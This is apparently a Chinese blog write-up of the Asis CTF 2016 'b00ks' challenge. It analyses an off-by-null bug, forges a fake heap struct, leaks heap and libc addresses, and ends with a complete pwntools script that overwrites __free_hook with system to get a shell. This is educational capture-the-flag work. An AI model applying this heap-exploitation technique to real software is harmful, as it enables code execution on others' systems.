Asis CTF 2016 b00ks WriteUp

安全策略

先用checksec检查安全策略

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

运行程序

大概运行一下程序,理清程序的执行流程,可以看到程序的功能是对图书的增删改查。

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

静态分析

使用IDA Pro进行静态分析,进入main函数进行反编译,对一些函数名进行修改,便于后续分析

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int option; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  welcome();
  change_author();
  while ( 1 )
  {
    option = menu();
    if ( option == 6 )
      break;
    switch ( option )
    {
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      case 4:
        print();
        break;
      case 5:
        change_author();
        break;
      default:
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

主函数没什么问题,进入子函数进行分析,在change_author()函数里发现调用了一个my_read()函数读取输入。

__int64 change_author()
{
  printf("Enter author name: ");
  if ( !my_read(author_name, 32) )
    return 0LL;
  printf("fail to read author_name");
  return 1LL;
}

进入my_read()函数进行分析,发现这个函数存在Off-By-Null漏洞。可以看到i==size时,用于结束字符串的NUL字符会覆盖到buffer后一位,产生Off-By-Null漏洞。

__int64 __fastcall my_read(_BYTE *buffer, int size)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( size <= 0 )
    return 0LL;
  for ( i = 0; ; ++i )
  {
    if ( read(0, buffer, 1uLL) != 1 )
      return 1LL;
    if ( *buffer == 10 )                        // if *str == '\n'
      break;
    ++buffer;
    if ( i == size )                            // off by one
      break;
  }
  *buffer = 0;                                  // off by null
  return 0LL;
}

接着分析该漏洞能作用于哪里,即查看与author_name相邻的数据是什么。进入author_name,发现在.data段,但实际上指向了.bss段,所以我们转到.bss段查看。

.data:0000000000202018 author_name     dq offset unk_202040    ; DATA XREF: sub_B6D+15↑o
.data:0000000000202018                                         ; sub_D1F+CA↑o

在对应的.bss段下,看到与author_name相邻的是list。这里通过分析,我们得出list是保存book用的一个全局指针数组变量,详见后面的分析。

.bss:0000000000202040 unk_202040      db    ? ;               ; DATA XREF: .data:author_name↑o
.bss:0000000000202041                 db    ? ;
.bss:0000000000202042                 db    ? ;
.bss:0000000000202043                 db    ? ;
.bss:0000000000202044                 db    ? ;
.bss:0000000000202045                 db    ? ;
.bss:0000000000202046                 db    ? ;
.bss:0000000000202047                 db    ? ;
.bss:0000000000202048                 db    ? ;
.bss:0000000000202049                 db    ? ;
.bss:000000000020204A                 db    ? ;
.bss:000000000020204B                 db    ? ;
.bss:000000000020204C                 db    ? ;
.bss:000000000020204D                 db    ? ;
.bss:000000000020204E                 db    ? ;
.bss:000000000020204F                 db    ? ;
.bss:0000000000202050                 db    ? ;
.bss:0000000000202051                 db    ? ;
.bss:0000000000202052                 db    ? ;
.bss:0000000000202053                 db    ? ;
.bss:0000000000202054                 db    ? ;
.bss:0000000000202055                 db    ? ;
.bss:0000000000202056                 db    ? ;
.bss:0000000000202057                 db    ? ;
.bss:0000000000202058                 db    ? ;
.bss:0000000000202059                 db    ? ;
.bss:000000000020205A                 db    ? ;
.bss:000000000020205B                 db    ? ;
.bss:000000000020205C                 db    ? ;
.bss:000000000020205D                 db    ? ;
.bss:000000000020205E                 db    ? ;
.bss:000000000020205F                 db    ? ;
.bss:0000000000202060 unk_202060      db    ? ;               ; DATA XREF: .data:list↑o

接下来通过create()等函数可以分析出该程序使用的数据结构。

__int64 create()
{
  int idx; // [rsp+4h] [rbp-1Ch]
  _DWORD *pbook; // [rsp+8h] [rbp-18h]
  _BYTE *pname; // [rsp+10h] [rbp-10h]
  _BYTE *pdescription; // [rsp+18h] [rbp-8h]

  printf("\nEnter book name size: ");
  scanf("%d");
  printf("Enter book name (Max 32 chars): ");
  pname = malloc(0LL);
  if ( pname )
  {
    if ( my_read(pname, -1) )
    {
      printf("fail to read name");
    }
    else
    {
      printf("\nEnter book description size: ");
      scanf("%d");
      pdescription = malloc(0LL);
      if ( pdescription )
      {
        printf("Enter book description: ");
        if ( my_read(pdescription, -1) )
        {
          printf("Unable to read description");
        }
        else
        {
          idx = book_num();
          if ( idx == -1 )
          {
            printf("Library is full");
          }
          else
          {
            pbook = malloc(0x20uLL);
            if ( pbook )
            {
              pbook[6] = 0;
              *(list + idx) = pbook;
              *(pbook + 2) = pdescription;
              *(pbook + 1) = pname;
              *pbook = ++size;
              return 0LL;
            }
            printf("Unable to allocate book struct");
          }
        }
      }
      else
      {
        printf("Fail to allocate memory");
      }
    }
  }
  else
  {
    printf("unable to allocate enough space");
  }
  if ( pname )
    free(pname);
  if ( pdescription )
    free(pdescription);
  if ( pbook )
    free(pbook);
  return 1LL;
}

这里可以看出,创建book用到了3个chunk:pnamepdescriptionpbook

book是一个结构体,每次通过动态分配生成一个pbook,并存放在长为20的全局指针数组变量list中。pnamepdescriptionpbook的成员。

struct book
{
    int id;
    char *pname;
    char *pdescription;
    int size;
};

动态调试

静态分析基本结束,接着用pwngdb+pwndbg进行动态调试。

任意地址读写

创建第一本书,查看堆内存分布:

addr                prev                size                 status              fd                bk
0x555555609000      0x0                 0x290                Used                None              None
0x555555609290      0x0                 0x410                Used                None              None
0x5555556096a0      0x0                 0x30                 Used                None              None
0x5555556096d0      0x0                 0x30                 Used                None              None
0x555555609700      0x0                 0x30                 Used                None              None

这里创建了32字节长的namedescriptionname的堆在0x5555556096a0description堆在0x5555556096d0,最后0x555555609700的位置是第一个结构体book的堆的位置。

通过telescope指令查看内存book1的内存:

00:0000│  0x555555609700 ◂— 0x0
01:0008│  0x555555609708 ◂— 0x31 /* '1' */
02:0010│  0x555555609710 ◂— 0x1
03:0018│  0x555555609718 —▸ 0x5555556096b0 ◂— 0x61616161 /* 'aaaa' */
04:0020│  0x555555609720 —▸ 0x5555556096e0 ◂— 0x61616161 /* 'aaaa' */
05:0028│  0x555555609728 ◂— 0x20 /* ' ' */
06:0030│  0x555555609730 ◂— 0x0
07:0038│  0x555555609738 ◂— 0x208d1

可以看出该chunk的数据段应该在0x555555609710位置。

我们通过off-by-null覆盖指针数组第一个元素的低字节之后,会把指向0x555555609700这个堆的数据段的指针0x555555609710覆盖为0x555555609700

而该程序中,我们能控制内容的是description,所以,可以想到,多申请一段description的内存,让它能够控制到0x555555609700的内存,然后便可以伪造一个fakebook,达到任意地址读写的目的。

fakebook需要的内存大小为0x20,因此,只需要多申请0x20的空间即可。

创建了32字节的name和64字节的description之后,堆内存的分布如下:

addr                prev                size                 status              fd                bk
0x555555609000      0x0                 0x290                Used                None              None
0x555555609290      0x0                 0x410                Used                None              None
0x5555556096a0      0x0                 0x30                 Used                None              None
0x5555556096d0      0x0                 0x50                 Used                None              None
0x555555609720      0x0                 0x30                 Used                None              None

符合预期,接下来可以写部分exp尝试控制book1了,测试控制没有问题,已经能够任意地址读写了。

泄露地址

接下来,考虑把__free_hook指向system来取得shell。

因为开启了Full-Reload,所以不能直接得到libc基址,所以需要泄露地址。

这里想到可以泄露第一个book的地址,因为堆块之间的偏移固定,所以其他chunk的地址也可以通过计算得到。

泄露book1地址

第一个book的地址,可以通过author泄露。第一次输入author时写满32字节的内容,然后0字节就会被写入list指针数组的第一个元素中,然后接下来创建book之后,该位置会被赋值为第一个book结构体的地址。

通过print打印出author,因为没有0字符(结束字符),就可以泄露出该位置的内存,从而得到第一个book的地址。

利用这个地址,我们能够计算出通过brk分配的所有chunk的地址。

接下来,利用mmap泄露libc基址。

泄露libc基址

创建第二本书,因为只需要一块132KB的内存即可,所有我们的name依然申请32字节,然后description申请135168字节(132KB)。

通过vmmap查看内存分布,看到[heap]下面多了一块紧贴libc分配的内存,这就是刚刚通过mmap申请的description,可以通过telescope验证一下。

vmmap

pwndbg> telescope 0x7ffff7da3000
00:0000│  0x7ffff7da3000 ◂— 0x0
01:0008│  0x7ffff7da3008 ◂— 0x22002
02:0010│  0x7ffff7da3010 ◂— 'aaaaaaaaaaaaaaaa'
03:0018│  0x7ffff7da3018 ◂— 'aaaaaaaa'
04:0020│  0x7ffff7da3020 ◂— 0x0
... ↓     3 skipped

这串a是我前面申请时随便敲的,可以看出的确是description所在的内存。

接下来,我们在程序中通过book2结构体泄露description地址。

addr                prev                size                 status              fd                bk
0x555555609000      0x0                 0x290                Used                None              None
0x555555609290      0x0                 0x410                Used                None              None
0x5555556096a0      0x0                 0x30                 Used                None              None
0x5555556096d0      0x0                 0x50                 Used                None              None
0x555555609720      0x0                 0x30                 Used                None              None
0x555555609750      0x0                 0x30                 Used                None              None
0x555555609780      0x0                 0x30                 Used                None              None

book2结构体是最后申请的,在0x555555609780上,用telescope查看一下:

00:0000│  0x555555609780 ◂— 0x0
01:0008│  0x555555609788 ◂— 0x31 /* '1' */
02:0010│  0x555555609790 ◂— 0x2
03:0018│  0x555555609798 —▸ 0x555555609760 ◂— 0x616161 /* 'aaa' */
04:0020│  0x5555556097a0 —▸ 0x7ffff7da3010 ◂— 'aaaaaaaaaaaaaaaa'
05:0028│  0x5555556097a8 ◂— 0x21000
06:0030│  0x5555556097b0 ◂— 0x0
07:0038│  0x5555556097b8 ◂— 0x20851

看到0x5555556097a0的位置保存了book2description指针,我们可以把它泄露出来。

前面得到的fakebook指针是0x555555609730,计算偏移得到0x5555556097a0-0x555555609730=0x70

我这里选择通过fakebookname来泄露,而description仍然指向原来book1description,这样可以再次控制fakebook

description相对book1的偏移是-0x50

基本思路已经理清,接下来就是exp的编写了。

漏洞利用

最终的exp如下:

from pwn import *

local_path = './b00ks'
io = process(local_path)
# libc = io.libc
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
# context.log_level = "debug"
context.binary = local_path

def menu(option):
    io.recvuntil(b'>')
    io.sendline(option)

def enter_author_name(author_name):
    io.recvuntil(b':')
    io.sendline(author_name)

def create(name_sz, name, dscr_sz, dscr):
    menu(b'1')
    io.recvuntil(b':')
    io.sendline(name_sz)
    io.recvuntil(b':')
    io.sendline(name)
    io.recvuntil(b':')
    io.sendline(dscr_sz)
    io.recvuntil(b':')
    io.sendline(dscr)

def delete(idx):
    menu(b'2')
    io.recvuntil(b':')
    io.sendline(idx)

def edit(idx, dscr):
    menu(b'3')
    io.recvuntil(b':')
    io.sendline(idx)
    io.recvuntil(b':')
    io.sendline(dscr)

def printbook(idx):
    menu(b'4')
    for i in range(idx):
        io.recvuntil(b':')
        bookID = int(io.recvline()[1:-1])
        io.recvuntil(b':')
        name = io.recvline()[1:-1]
        io.recvuntil(b':')
        dscr = io.recvline()[1:-1]
        io.recvuntil(b':')
        author = io.recvline()[1:-1]

    return bookID, name, dscr, author

def change(author_name):
    menu(b'5')
    enter_author_name(author_name)

# off by one to leak addr of book1
enter_author_name(b'a'*32)

create(b'32', b'book1', b'64', b'a'*32)

bookID1, name1, dscr1, author1 = printbook(1)

book1_addr = unpack(author1[32:32+6].ljust(8, b'\x00'))
log.success("leak book1_addr:" + hex(book1_addr))

create(b'32', b'/bin/sh', b'135168', b'/bin/sh')

# construct fake book1 to leak addr of book2
fakebook = pack(1) + pack(book1_addr+0x70) + pack(book1_addr-0x50) + pack(100)

pad = cyclic(32)

payload1 = pad + fakebook

edit(b'1', payload1)

# off by null to point at fake book1
change(b'a'*32)

bookID1, name1, dscr1, author1 = printbook(1)

mmap_addr = unpack(name1.ljust(8, b'\x00'))
log.success("leak mmap_addr:" + hex(mmap_addr))

# gdb.attach(io)

libc_base = mmap_addr + 0x22000 - 0x10
log.success("leak libc_base:" + hex(libc_base))

system_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']

fakebook = pack(1) + pack(book1_addr+0x70) + pack(free_hook_addr) + pack(100)
payload2 = pad + fakebook

edit(b'1', payload2)
edit(b'1', pack(system_addr))

delete(b'2')

io.interactive()

成功拿到shell:

get-shell

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇